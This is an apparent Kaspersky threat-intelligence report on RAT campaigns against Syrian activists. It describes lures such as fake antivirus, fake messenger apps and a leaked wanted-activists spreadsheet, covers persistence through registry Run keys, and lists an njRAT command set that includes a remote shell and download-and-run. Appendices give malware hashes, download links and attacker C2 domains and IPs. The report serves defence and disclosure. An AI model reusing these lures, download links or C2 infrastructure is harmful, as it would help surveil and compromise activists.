The victims are distributed across different countries: Syria Lebanon Turkey Kingdom of Saudi Arabia Egypt Jordan Palestine United Arab Emirates Israel Morocco United States The group members are operating from different locations around the world: Syria Russian Federation Lebanon The groups attacks are evolving and they are making extensive use of social engineering techniques to trick targeted victims into running their malicious files.
Among the principal file extensions observed among the malware samples obtained we can list: .exe .dll .pif .scr 3 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The group is relying on RAT (Remote Access Tool) Trojan tools, of which the most common are: ShadowTech RAT Xtreme RAT NjRAT Bitcomet RAT Dark Comet RAT Blackshades RAT The number of malicious files found is 110, with a big increase seen in recent attacks.
The number of domains linked to the attacks is 20.
The number of IP addresses linked to the attacks is 47.
The samples details and domains lists used by the attackers can be found in the Appendices 1 and 2 in the end of the document.
Protection and resilience against these attacks is ensured through the use of a multi-layered security approach, having up to date security products, and mainly by being sceptical about suspicious files.
TLP: Green For any inquire please contact intelreportskaspersky.com Contents 1.
Executive Summary           2 2.
Introduction            5 3.
Analysis             6 3.1.
Infection Vectors          6 3.1.1.
Skype messages         6 3.1.2.
Facebook posts         7 3.1.3.
YouTube Videos         8 3.2.
Samples and types of files         9 3.2.1.
The National Security Program       9 3.2.2.
Files named Scandals are quite attractive     14 3.2.3.
Ammazon Internet Security the popular Antivirus    16 3.2.4.
Youve installed the latest antivirus solution, now lets protect your network 19 3.2.5.
Whatsapp and Viber for PC: Instant messaging, instant infection  20 3.2.6.
Beware of chemical attacks        22 3.2.7.
Commands and functionality       23 3.2.8.
Evolution of malware attack file numbers      25 3.2.9.
Locations, domains and team       26 3.2.10.
Victims          28 3.2.11.
Activist Behavior         30 3.3.
Attribution           32 4.
Kaspersky Lab MENA RAT Statistics         34 5.
Conclusion             37 Appendix 1: Samples           38 Appendix 2: CC Domains           47 TLP: Green For any inquire please contact intelreportskaspersky.com 5 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 2.
Introduction The geopolitical conflicts in the Middle East have deepened in the last few years Syria is no exception.
The crisis is taking many forms, and the cyberspace conflict is intensifying as sides try to tilt the struggle, by exploiting cyber intelligence and exercising distortion.
In the last few years cyber-attacks in Syria have moved into the front line many activities in cyberspace have been linked to Syria, especially those conducted by the Syrian Electronic Army and pro-government groups.
The Global Research and Analysis Team (GReAT) at Kaspersky Lab has found new malware attacks in Syria, using new but not advanced techniques to hide and operate malware, in addition to using proficient social engineering tricks to deliver malware by tricking and tempting victims into opening and exploring malicious files.
The malware files have been found on hacked activist sites, web pages and in social networking forums.
Cyber Arabs, an Arabic-language digital security project of the IWPR (Institute for War and Peace Reporting), reported four of these samples in March 2014.
The same samples were also reported on Syrian Facebook pages (  , Technicians For Freedom): https://www.facebook.com/ tech4freedom Given the complexity of the situation, there are many factors and entities at play  in this event, but from the outside these are all largely speculative.
Pro-government groups talk about defense and opposition activists talk about offense.
Here, we will only focus on the malware and the facts that have been found during the analysis, presenting only relevant information, in the hope of setting a clear context for this research.
https://www.cyber-arabs.com/ https://www.facebook.com/tech4freedom https://www.facebook.com/tech4freedom 6 TLP: Green For any inquire please contact intelreportskaspersky.com 3.
Analysis 3.1.
Infection Vectors Malware writers are using multiple techniques to deliver their files and entice the victims to run them, creating an effective infection vector.
Mainly depending on social engineering the attackers exploit: Victims trust in social networking forums Victims curiosity in following news related to political conflict in Syria Victims fear of attacks from government Victims lack of technology awareness Once they have infected the victims computer, attackers have full access and control over victims devices.
In the following section we show different versions of posts sent via popular file sharing sites or social networking platforms.
The sample details and domain lists used by the attackers can be found in the Appendices 1 and 2 in the end of the document.
3.1.1.
Skype messages Messages sent via Skype offer links to download: 1.
The SSH VPN program to encrypt communication 2.
The popular and effective antivirus with daily updates from Ammazon Internet Security 3.
The SmartFirewall to block connections made by malware and bad programs The messages are usually sent from fake or compromised accounts.
7 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.1.2.
Facebook posts The same messages sent via Skype are also shared via the Facebook social platform, asking victims to install these security programs to protect themselves from malware infections and cyber-attacks, especially government attacks.
8 TLP: Green For any inquire please contact intelreportskaspersky.com 3.1.3.
YouTube Videos In the following example, we can see a YouTube video providing links to download fake Whatsapp and Viber applications for PC.
By using everyday technologies that are commonly used by a broad audience, attackers increase the effectiveness of their operations and their infection rates.
9 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.2.Samplesandtypesoffiles Analysis has led us to identify the following RAT variants being used in the wild: ShadowTech RAT Xtreme RAT NjRAT Bitcomet RAT Dark Comet RAT BlackShades RAT The samples collected during our research can be classified as follows.
Old samples Samples obtained during 2013 are simple RAT executable files, compressed and sent to victims using a wide range of delivery options.
Newer samples were typically found to use .scr containers in order to hide malicious files and avoid early detection by security solutions.
New samples More recent samples, starting from the end of 2013, have shown a more organized development effort, creating highly stealth and graphically-enticing applications.
In this analysis we have seen how Syrian malware has evolved, showing no signs of stopping any time soon.
Even though new malicious Syrian samples are appearing each day, the subset presented here will hopefully give the reader an overall view of the techniques and tools that are currently being used to target Syrian citizens.
3.2.1.
The National Security Program Curiosity killed the cat: browsing a previously leaked spreadsheet of wanted activists leads to infection.
We found a set of compressed files on a popular social networking site when, extracted it showed a database containing a list of activists and wanted individuals in Syria.
A video entitled was published on November 9 2013, and the download link for this database application was included in the information section of the video.
http://www.gemyakurdan.net/doc/Asmae-almtlbin.xlsx 10 TLP: Green For any inquire please contact intelreportskaspersky.com The download URL redirected victims to a file-sharing service where the file was being hosted.
The compressed RAR file   .rar, with the MD5 signature 0c711bf29815aecc65016712981 59a74 and a file-size of 7,921,063 bytes was protected with the password 111222333.
The video requests the victim to scan the password protected .rar file using VirusTotal to verify that it is not infected.
After extracting all the files to a temporary folder, we were presented with the application itself and a text file needed to access the hidden features of the program.
The file PASSWORD.txt file contained the following text: syria123  11 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Upon closer inspection, the first and last buttons of the application were functional, but the others generated error messages (claiming that some files were missing).
The first button (  , General Global File) uses data-base.db.exe (MD5 8f16efb51fe67961e e31c4f36cbe11db), which was placed into C:\Users\User\AppData\Roamingand, when executed, extracts the  Excel spreadsheet file Data-Base.xslx (MD5 f0a8a1556efbb106b6297700d4cce61b) from the Data-Base.db (MD5 95a5c3e91bbb4a3a323433841fbef82a) file in the main folder.
The last button ( ) is the exit button.
12 TLP: Green For any inquire please contact intelreportskaspersky.com Here is some interesting information worth noting: .exe is not detected as a malicious file.
The file data-Base.db is detected as a malicious file.
13 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The file data-base.db is a compressed archive: Product name from the file signature: Project1 Publisher name from the signature: Syrian malware Compilation Timestamp: 2013-11-09 14:47:26 When system32.exe is run, the process iexplorer.exe is spawned and is automatically registered for Startup.
The file connects to the IP address 31.9.48.7 TCP on port 999.
As mentioned in previous reports, the IP address 31.9.48.7 belongs to the Syrian Telecommunications Establishment (STE).
Other temporary files used for the infection were also detected, such as system32.exe (MD5: 9424b355a3670fd7749d3d25cbea18cb) which was copied into the C:\Users\user\appdata\ local\temp\ folder.
https://www.securelist.com/en/blog/8202/Garfield_Garfield_True_or_the_story_behind_Syrian_Malware_NET_Trojans_and_Social_Engineering https://www.securelist.com/en/blog/8202/Garfield_Garfield_True_or_the_story_behind_Syrian_Malware_NET_Trojans_and_Social_Engineering 14 TLP: Green For any inquire please contact intelreportskaspersky.com The presence of DarkComets DC_MUTEX- was a giveaway of the usage of this remote administration tool.
During infection, the Excel spreadsheet is displayed, comprising 96763 rows and 13 columns of activist information.
The rows correspond to records of individuals wanted by the government and the columns correspond to information about the individuals.
While there is no column description, data in each column reflects the type of data.
3.2.2.
Files named Scandals are quite attractive Using shockingly disturbing videos to distribute malware A disturbing video showing injured victims of recent bombings was used to appeal to peoples fear and exert them to download a malicious application available in a public file-sharing website.
After our initial analysis, the file named .exe proved to be heavily obfuscated with the commercial utility MaxToCode for .NET as a means of avoiding early detection by antivirus solutions.
When executed, the original sample created another executable file in the Windows temporary folder (C:\Users\[USERNAME]\AppData\Local\Temp) named Trojan.exe, which corresponds to the code of the RAT itself.
This is used to save all keystrokes and system activity to another file in the same location, Trojan.exe.tmp.
15 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Captured information is sent to a dynamic domain corresponding to the host hacars11.no-ip.biz, using local port 1177 with no SSL encryption (but base64 encoded), making the analysis of the network traffic a much easier task.
During the initial connection to the remote server (after an initial ping to check for internet connectivity), the Trojan will send the machines name, installed Windows version, logged username, webcam availability and the version of the RAT in use.
Several embedded command line scripts are in charge of adding the Trojans executable file to the Windows Firewall allowed list, while at the same time disabling security zone checking in Internet Explorer.
System persistence is obtained via a modification in the Software\Microsoft\Windows\ CurrentVersion\Run registry key and by adding a copy of the malware to the Startup folder.
16 TLP: Green For any inquire please contact intelreportskaspersky.com Even though different obfuscation techniques are used in the samples we analysed, all of them have underlying dependencies on the .NET framework namespaces, which eventually allows deep source code inspection of the threat.
17 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.2.3.
Ammazon Internet Security the popular Antivirus If you thought the era of fake antivirus programs was over, here comes a newly developed sample to challenge your beliefs.
With the innocent title of Ammazon Internet Security, this malicious application tries to mimic a security scanner, even including a quite thorough graphical user interface and some interactive functionality.
Again, this shows the simplicity of creating a graphical user interface that will trick most of the non- tech-savvy population.
Using nothing more than a couple of buttons and a catchy name, Syrian malware groups were hoping that the intended victims would fall for the trap.
Analyzing the code interestingly revealed that it has the look--feel of a security application but, of course, no real security features.
While silently executing a remote administration tool when launching this security suite, targeted victims were left without their Ammazon protection but witha RAT installed.
From the Windows process list shown in Process Explorer, we were able to see J. L Antivirus 4.0 executing in our system, and through Process Monitor we caught the creation of the analysis log file for our fake antivirus.
Behind the curtains, a connection is made to a remote host, sending real time information on all our activities  the real cost of this free internet security suite Among the many programming methods found inside the source code, we were even able to find a CheckForUpdates function and if you look closely enough you can even see Detection and Quarantine assemblies included in this application.
So, not only has a lot of work gone into creating this fake antivirus, the authors also followed good programming practices and implemented modules for each specific (albeit fake) functionality.
Maybe at a really quick first sight this could pose as a legitimate tool, but a deeper inspection reveals its true malicious nature.
18 TLP: Green For any inquire please contact intelreportskaspersky.com The real log file was one where all keystrokes were recorded and later sent from the computer via a TCP connection.
Even though this type of keylogging functionality is nothing new, when we consider how these malicious applications are being used, and the control they give to the attackers, we can start to measure the importance of reporting these threats and providing protection from them.
Evidently, the malware authors didnt care much to provide an option to close the antivirus, and if you were to kill the process you would get a nice blue screen of death and an unexpected system reboot.
Surely, the fake application will load  again once everything is back up, creating an interesting method for guaranteeing persistence.
19 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.2.4.
Youve installed the latest antivirus solution, now lets protect your network Total Network Monitor (which is a legitimate application) was inside another sample we found, used with embedded malware for spying purposes.
Offering security applications to protect against surveillance is one of the many techniques used by malware writing groups to get victims who are in desperate need for privacy to execute these dubious programs.
An almost fully functional version of the Total Network Monitor utility is included.
What this modified version does not show is the remote connection made to a host where f system information is dumped.
The actual infection is performed when first clicking on the installer, which uses obfuscation to hide all malicious activity until the legitimate tool is completely installed.
As with other samples reviewed, system persistence is obtained by modifying  Windows start-up registry keys.
Using names such as Desktop Manager increases the likelihood for this threat to go unnoticed.
However, the entry name empty or empty.exe should raise a red flag when auditing these keys.
3.2.5.
Whatsapp and Viber for PC: Instant messaging, instant infection As with other samples, social engineering does all of the heavy work.
Instant messaging applications for desktop operating systems have been used in the past to spread malware and it seems that Syrian malware authors have jumped on the bandwagon.
In contrast to the Ammazon Internet Security, these samples dont contain any graphical user interface or even an error message that will tell the victim not to worry about their security.
Heading straight for system infection has proven successful for them, and using these popular application names gets the interest of a much larger audience.
20 TLP: Green For any inquire please contact intelreportskaspersky.com The following screenshot shows how the application name, intended functionality and even the icon used, all work in conjunction to create a believable story for the victim.
And this is not a comprehensive list, by any means.
Framing and social engineering techniques are playing an essential role in all Syrian related malware threats and the trend suggests that the complexity of them will only keep on increasing.
3.2.6.
Beware of chemical attacks Another attack uses social engineering tricks.
The sample 38e3bc8776915dbd2e55a4d90f85a872, named Kimawi.exe and with JPG icon, is a RAT file bound to the picture Kimawi.jpg.
This picture is a previously leaked paper supposedly by the regime in Syria warning military units to prepare for chemical attacks from friendly units.
21 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.2.7.
Commands and functionality Different remote administration tools have been spotted in the wild most of them provide an extensive range of functionality to fully control infected systems.
These include: Keylogging Capturing screenshots and webcam control.
Recording live sound/video.
Installing programs Uploading/downloading files File, process and registry key management Remote shell Executing DDoS attacks Kimawi.jpg 22 TLP: Green For any inquire please contact intelreportskaspersky.com Among the most popular RAT found in the samples subset is Dark Comet, a free remote administration tool that provides a comprehensive command set for the attackers to use in their malicious purposes.
Another RAT widely used in the Arab world is NjRAT, which includes a list of commands (see below) that can be sent from the controller to the infected system.
DarkComet Control panel  Functionality 23 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Command Option Function PROC  Retrieve information about current running process K Kill a process KD Kill list of processes and delete module files RE Restart a running process RSS Start a CMD and direct STDIN and STDOUT to be controlled by CC RS Send command to CMD RSC Terminate CMD process KL Retrieves  keylogging file INF Information about system Drive, malware status RN Download and run a file from a specified URL CAP Screenshots, desktop monitoring P Ping UN  Completely Uninstall Trojan Terminate Trojan Process Restart Trojan UP Update Trojan RG  Enumerate Registry Key Set Key Value Delete Registry Key Create SubKey Delete SubKey 24 TLP: Green For any inquire please contact intelreportskaspersky.com 3.2.8.Evolutionofmalwareattackfilenumbers The attackers are working on full power, and the number of attacks and malicious files being distributed is constantly increasing as they become more organized and proficient.
Below is the timeline distribution for malicious files distributed during 2013-2014, based on the first time they were distributed or seen in public (Skype, Facebook, file-sharing, email, etc.
).
Below is the timeline distribution for the collected samples based on compilation time 25 20 15 10 5 0 Q2 2012 Q3 2012 Q4 2012 Q1 2013 Q3 2013 Q4 2013 Q1 2014 Q2 2014Q2 2013 Samples timeline based on compilation time 25 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The samples details and domains list used by the attackers can be found in the Appendices 1 and 2 in the end of the document.
3.2.9.
Locations, domains and team The group responsible for the attacks is using common techniques shared by many of the hacking groups around the world.
They benefit from dynamic domains that can be linked to their modem devices and configured with forward functionality to a public IP address assigned by the ISP.
By restarting their modems they obtain a new address, creating a dynamic infrastructure that can be easily managed.
Dynamic Update Clients (DUC) on their computer devices (usually the same as the RAT server) are in charge of having the dynamic domain provider update to the newly assigned address.
One of the videos by one of the attackers has shown one of the group members using a TP-Link modem model TD-W8968, commonly found in SOHO environments.
26 TLP: Green For any inquire please contact intelreportskaspersky.com Since the end of 2013, the group has extensively relied on a class C IP subnet, 31.9.48.0/24, provided by TARASSUL ISP (Syrian Telecommunications Establishment) for its attacks.
We suspect this subnet has been allocated to the group, also an indication that they are now operational from a single location.
In early 2014, the group moved to an IP address in Russia (31.8.47.7), to launch multiple new attacks.
Information on domain All4Syrian.com This domain is registered for the email aloshalaagmail.com.
It served as a pro-regime website back in 2012 and is being used for the CC of some of the RAT files.
The domain was registered to okpa1984gmail.com from 2011 to 2013.
Malware has also been seen connecting to xtr.all4syrian.com and vip.all4syrian.com.
Attackers geographical distribution The map below shows the attackers geograhical distribution based on the geolocation of the IP addresses used by the CC servers: YouTube page for one of the Attackers Showing videos about their web defacements, cyber- attacks and an interview with radio channel talking about their hacking achievements mailto:aloshalaagmail.com mailto:okpa1984gmail.com 27 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.2.10.
Victims The distribution of victims is confined only to Syria, but also reaches nearby countries.
We have observed victims of the Syrian-based malware in: Syria Lebanon Turkey Kingdom of Saudi Arabia Egypt Jordan Palestine United Arab Emirates Israel Morocco United States 28 TLP: Green For any inquire please contact intelreportskaspersky.com Victims geographical distribution map Map showing geographical distribution of victims with zoom on the most affected areas 29 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Below are snapshots taken from videos published by the attackers, showing their RAT control panel and list of victims.
This shows some of the victims located in different countries.
The sample details and domain lists used by the attackers can be found in Appendices 1 and 2 in the end of this document.
3.2.11.
Activist Behavior It is worth noting that we have seen evidence of activists trying to carry out Denial of Service attacks on the RAT domains and servers, in an effort to overwhelm their resources and cause their connections to timeout.
The post below shows a warning from activists about pro-government hacker attacks on Facebook pages, explaining how pro-government groups post links to Trojanized applications in order to infect users The activists announce in the post that they have spotted a CC domain used by the Trojans and that they are attacking it to remove all hacked victims.
30 TLP: Green For any inquire please contact intelreportskaspersky.com translated as Host Attack in progress .. to    .. remove all hacked victims with help of god.
31 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 3.3.
Attribution Team and positions From many posts, forums and identification videos, it is clear that the group has an organized structure of teams working together, The names and positions outlined below were collected from posts on infiltrated forums or pages.
They are all either nicknames or incomplete names that do not enable full identification of the attackers.
The Resistant Syrian Electronic Army Group 1: Team Hacker and Assad Penetrations Unit Group 2: Anonymous Syria Al Assad Unit Group 3: Management of Electronic Monitoring and Central Tracking Unit Group1: Team Hacker and Assad Penetrations Unit Name Position Shady Head of Assad Hacker team Fadi Responsible for raids Sarmad Responsible for operations in raids unit Mahmoud Assistant to the head of management unit Girl nickname Fidaeya (redemptionist) Member of support and publishing team Najma Member of media and publishing team 32 TLP: Green For any inquire please contact intelreportskaspersky.com Group2: Anonymous Syria Al Assad Unit Name Position Jabbour Public relations manager Haydara Electronic ambushes unit Alaa Morched Electronic monitoring unit and follow up Ahmad Responsible for team unit Nariman Responsible for team unit Ali Responsible for team unit Zina Responsible for team unit Derkachli Kordahli Responsible for destruction of victim accounts Ahmad and Morad Engaged in attacks Group3: Management of Electronic Monitoring and Central Tracking Unit Name Position Kenan Head of team Okba Head of electronic operations Ahmad Head of eectronic raids Ritzel (heart of the lion) Head of electronic penetration operations 33 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 4.
Kaspersky Lab MENA RAT Statistics Remote Administration Tool (RAT) Trojans are malicious programs that allow a remote operator to control a system as if he has physical access to that system.
Malicious RATs are widely used by different types of cybercriminals (hacktivists, script-kiddies, and scammers) and even in some state-sponsored attacks.
Some of the most popular RATs are detected by Kaspersky products as following: Trojan.
MSIL.Zapchast, also known as Njrat Backdoor.
Win32.Bifrose, also known as Bitfrose Backdoor.
Win32.Fynloski, also known as DarkComet Backdoor.
Win32.Xtreme, also known as Xtremrat The statistics below, extracted from the Kaspersky Security Network (KSN), show the number of RAT infection attacks blocked by Kaspersky Lab products in the MENA (Middle East North Africa) region in the 2013-2014 period: Country/Detection Zapchast Bitfrose Fynloski XtremeRAT Total Algeria 39113 12071 11643 7106 69900 Turkey 6326 3325 14002 3586 27200 KSA 9616 5555 5336 4516 25000 Egypt 5567 5883 4325 2634 18400 Iraq 6756 2280 3235 3055 15300 UAE 3594 1165 9244 745 14700 Morocco 4084 2710 3104 1233 11100 Lebanon 426 297 8073 136 8900 Tunisia 2844 1888 1495 1004 7200 Syria 2806 1897 1362 544 6600 Qatar 1332 327 2177 233 4000 Jordan 1259 680 1104 414 3400 Oman 1241 446 915 374 2900 Bahrain 1218 178 1214 254 2800 Kuwait 454 407 922 345 2100 34 TLP: Green For any inquire please contact intelreportskaspersky.com Zapchast Bitfrose Fynloski XtremeRAT 35 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Based on KSN world statistics, the MENA region has one of the highest numbers for RAT attacks, as shown below: Country Number of users Algeria 39113 India 35024 France 10955 Saudi Arabia 9616 Mexico 6862 Iraq 6756 Turkey 6321 Egypt 5567 Russian Federation 5526 Malaysia 5014 Algeria has the highest number of users facing NjRat infection for the 2013-2014 period and five countries from MENA are in the NjRat top 10 Algeria has the highest number of users facing Xtreme RAT infection for the 2013-2014 period and four countries from MENA are in the Xtreme RAT top 10.
Four countries from MENA are in the Bifrose top 10 infection list.
Three countries from MENA are in the DarkComent top 10.
NjRAT infection Top 10s 36 TLP: Green For any inquire please contact intelreportskaspersky.com 5.
Conclusion Syrian malware has a strong reliance on social engineering and the active development of technologically complex malicious variants.
Nevertheless, most of them quickly reveal their true nature when inspected carefully and this is one of the main reasons for urging Syrian users to be extra vigilant about what they download and to implement a layered defense approach.
Antivirus software uses either signature or heuristic-based detection to identify malware.
On the one hand, signature detection searches for a unique sequence of bytes that is specific to a piece of malicious code.
On the other hand, heuristic detection identifies malware based on program behaviour.
In our research we were able to collect more than 100 malware samples used to attack Syrian citizens.
Although most of these samples are known, cybercriminals rely on a plethora of obfuscation tools and techniques in order to change the malware structure so as to bypass signature scanning and avoid antivirus detection.
This proves how critical heuristic technologies are when it comes to protecting against these types of attack.
By being able to identify variants of known malware types or even new malware families, Kaspersky Lab security products detected all the collected samples.
We expect these attacks to continue and evolve both in quality and quantity.
We expect the attackers to start using more advanced techniques to distribute their malware, using malicious documents or drive-by download exploits.
With enough funding and motivation they might also be able to get access to zero day vulnerabilities, which will make their attacks more effective and allow them to target more sensitive or high profile victims.
Even though the attackers depend mainly on using known RATs, their rapid improvement and application of obfuscation techniques, GUI development for fake applications, and code modification via automated builders, increase the probability that it wont be too long before they start writing their own Trojans to take advantage of customized infection capabilities and implement better security evasion.
Finally, having a comprehensive and up-to-date antivirus and firewall  should be the first measure taken by any user that does any type of online activity, especially during these uncertain times when new cyber threats appear almost daily.
37 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Appendix 1: Samples All samples table The list of sample files has been collected through the infection vectors detailed above (Skype, Facebook, file-sharing, email, etc.
).
The samples have been either generated using automated tools (RAT server, obfuscation tools) or developed and bound to RAT files, especially the new samples with graphical content.
File information First reported Main file MD5 Special info Ammazon Internet Security.rar Smart Firewall.rar SSH VPN.rar https://www.dropbox.com/s/ f9gpiv2qk4m1r44/Ammazon20 Internet20Security.rar https://www.dropbox.com/ s/65bnrk8x4gt2og8/Smart20 Firewall.rar https://www.dropbox.com/s/ c4kwnh6q0r3ymwf/SSH20VPN.rar https://www.facebook.com/photo.
php?fbid726440034062205seta .375478335825045.85979.36700297 6672581type1theater reported on facebook and https:// www.cyber-arabs.com Mar 18, 2014 23ae669639c1d970aaee6f9f551b82b1 abf93ad254cd01997935863c9e556af8 96ca1d7e45b03f438804d3b46d22df8a 1827acc1cf53e6ac9d9b638fc81f50a1 thejoe.publicvm.
com multiple ports: 31.8.48.7 Viber fooor pcE280AEexeE280AEexe.rar http://ge.tt/14hNebG1/v/0 http://www.youtube.com/ watch?vrU7B0mO9dr8 Jan 26, 2014 8995ff66bacaf76d1c24660f3092583c .scr file https://www.dropbox.com/s/f9gpiv2qk4m1r44/Ammazon20Internet20Security.rar https://www.dropbox.com/s/f9gpiv2qk4m1r44/Ammazon20Internet20Security.rar https://www.dropbox.com/s/f9gpiv2qk4m1r44/Ammazon20Internet20Security.rar https://www.dropbox.com/s/65bnrk8x4gt2og8/Smart20Firewall.rar https://www.dropbox.com/s/65bnrk8x4gt2og8/Smart20Firewall.rar https://www.dropbox.com/s/65bnrk8x4gt2og8/Smart20Firewall.rar https://www.dropbox.com/s/c4kwnh6q0r3ymwf/SSH20VPN.rar https://www.dropbox.com/s/c4kwnh6q0r3ymwf/SSH20VPN.rar https://www.facebook.com/photo.php?fbid726440034062205seta.375478335825045.85979.367002976672581 https://www.facebook.com/photo.php?fbid726440034062205seta.375478335825045.85979.367002976672581 https://www.facebook.com/photo.php?fbid726440034062205seta.375478335825045.85979.367002976672581 https://www.facebook.com/photo.php?fbid726440034062205seta.375478335825045.85979.367002976672581 http://ge.tt/14hNebG1/v/0 http://www.youtube.com/watch?vrU7B0mO9dr8 http://www.youtube.com/watch?vrU7B0mO9dr8 38 TLP: Green For any inquire please contact intelreportskaspersky.com File information First reported Main file MD5 Special info Whatsapp for pc 2014.exe http://ar.rghost.net/54001947 other name: NJServer.exe https://www.facebook.com/AlhyytAl shrytLlthwrtFyAlryfAlghrby?sktimel inehc_locationtimelinefilter2 April 11, 2014 8995ff66bacaf76d1c24660f3092583c 31.8.48.7, port 1199 .exe, chrome.
exe, shitanoxxx.exe, shitano.exe (shitano the devil) Source from friends at www.cyber- arabs.com Jan, 2014 10300846f75eb36ad87091ed7f04b5d8 hhhhhkrufnrrrs1982.
zapto.org port 1177 Found this resolved back then to 95.212.148.21 from facebook post cached on google rar (national.
security program) -rar pass: 111222333 -Internal exe pass:  syria123 http://ge.tt/1v3NB7y/v/0 http://www.youtube.com/ watch?vCw1vD9DhEc0 Nov 9, 2013 3828971a77d94b6a226064ede528e408 (main executable) thejoe.publicvm.com extracts with excel sheet with previously leaked  details on wanted activists .exe (scandals) http://www.
gulfup.com/?X65OmP http://www.youtube.com/ watch?vTBbhUSS-pik Nov 1, 2013 796cafc1983bc4e8a5d80d390d3cd33a hacars11.no-ip.biz http://ar.rghost.net/54001947 https://www.facebook.com/AlhyytAlshrytLlthwrtFyAlryfAlghrby?sktimelinehc_locationtimelinefilter https://www.facebook.com/AlhyytAlshrytLlthwrtFyAlryfAlghrby?sktimelinehc_locationtimelinefilter https://www.facebook.com/AlhyytAlshrytLlthwrtFyAlryfAlghrby?sktimelinehc_locationtimelinefilter http://www.cyber-arabs.com http://www.cyber-arabs.com http://ge.tt/1v3NB7y/v/0 http://www.youtube.com/watch?vCw1vD9DhEc0 http://www.youtube.com/watch?vCw1vD9DhEc0 http://www.gulfup.com/?X65OmP http://www.gulfup.com/?X65OmP http://www.youtube.com/watch?vTBbhUSS-pik http://www.youtube.com/watch?vTBbhUSS-pik 39 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com File information First reported Main file MD5 Special info Skype.exe Syriatel.exe zip (anti skype.
virus) spediti 27 orangealert.zip master.exe PDB Path C:\Users\joe\Desktop\ Desktop\Syriatel\Syriatel\obj\ Debug\Syriatel.pdb 1 to 5 Jan 2014 ec62a59b10b0e587529d431db18d7b77 ad9a18e1db0b43cb38da786eb3bf7c00 1a6061d02794969ba7d57f808a64c1c2 ac54c78f37eec21d167b1571fc442e84 cddaf92765fd465fcea63a6e4a4e4cbc 037d1cf1f8231f41dd6ae425488445fc 23e936f189611430fffbdd8e1f2a077f bundled with 9424b355a3670fd7749d3d25cbea18cb N/A gfbf.exe 202.exe SRGf2.exe VmFP4.exe OYTu4.exe ssss.exe oooo.exe Jan to Mar 2014 3f86102e70a3d2fc2f94137599e8d9c2 d3f957963f56b8bc5e883984857379d4 4c881505fe577e8d94227bb3e39b9f75 e81bdf099a5e31f955d1d582dabed1d2 ef644d0b444d894d10e7fa8a5072a2e3 05574551467d6730800f7d098b17c98a c46f72cb68b8d729fea8952fc01e1f13 hhhhhkrufnrrrs1982.
zapto.org stub.exe Winrar.exe tr.exe WindowsApplication1.exe July 2013 to May 2014 409a0b6954d4ff1000a6d7b78cde2b44 0125a39deb6c0fb37853faa9a90162d3 12d63168bac9de71bb9142aa9cf0e533 debb0beac6414b681d050f2fbc2f2719 40527942833ac6ffa25e4f875ab0bd17 thejoe.publicvm.com (31.9.48.146) 64.4.10.33:123 Syria.exe June 2014 0d4bbd0d646cedea1c3eb5d2079ce804 server.exe abalsethe devils April 2014 12cbe97c89634db754bae817e3b177b3 abalse.no-ip.biz (95.212.148.233) image.scr June 2014 7ba45daccca21db2e353b9144b29f2e8 31.9.48.164 port 1122 Windows_8_Pro_Build_9300_ activation_(KMS).exe 2012 to 2014 f73c643863b20d5843da4636330ff30e vip.all4syrian.com (31.9.48.11) old but active.
data.downloadstarter.
net cmp.online-hd.tv (108.161.189.5) alosh66.linkpc.net Cleaan.exe sent by email 17 June 2014 86e6cc8827bce4837a55ad76133f3125 d96606d128ee726760f84eb8d37918b6 e5c13f46b8fe119f77d0144c78ca9f60 45d4479bdd7d9a3e06e955ad358f1b6a 31.9.48.141 port 5552 40 TLP: Green For any inquire please contact intelreportskaspersky.com File information First reported Main file MD5 Special info chrome.exe 17 June 2014 31.9.48.141 port 5552 scr.
(
scandals of Shia retrieval from Syria) asa.exe feras.exe Nov 2013 to June 2014 e65107c5aeea5c3b3a59d4912905c3de f457f4ee2e2532466f180b86fb01c91d c71ccf5b1354d847fd7fae1e5668ea77 3eb93fd8129aadbcce8d303047a18c9f bc00e320aebb6f780ac4e70a6e183978 b5c7a04ae3eed7fd9f076d2a400ba660 1a44d73596b0f6755b4ed9651708c9e9 b717adfd7a4997ebae49308171d09b1f fa77151f7677e1602338e57c13aeab13 b7be9a74048fd64f0562a94e5fa66db2 cd92e50ba570b6cc018fbafb6ea7e0ad 24db21293792639a3567bf8c1f651885 fb2fbca3be381bb1a0b410f66e04f114 d2561f4259da6784894ffb1a559c6952 basharalassad1.no-ip.
biz (31.9.48.147) port 5552 clean.exe Oct 2013 dd0965b9bb4d8fa833b59ab41b405c0b 31.9.48.84 port 999 basharalassad1.no-ip.
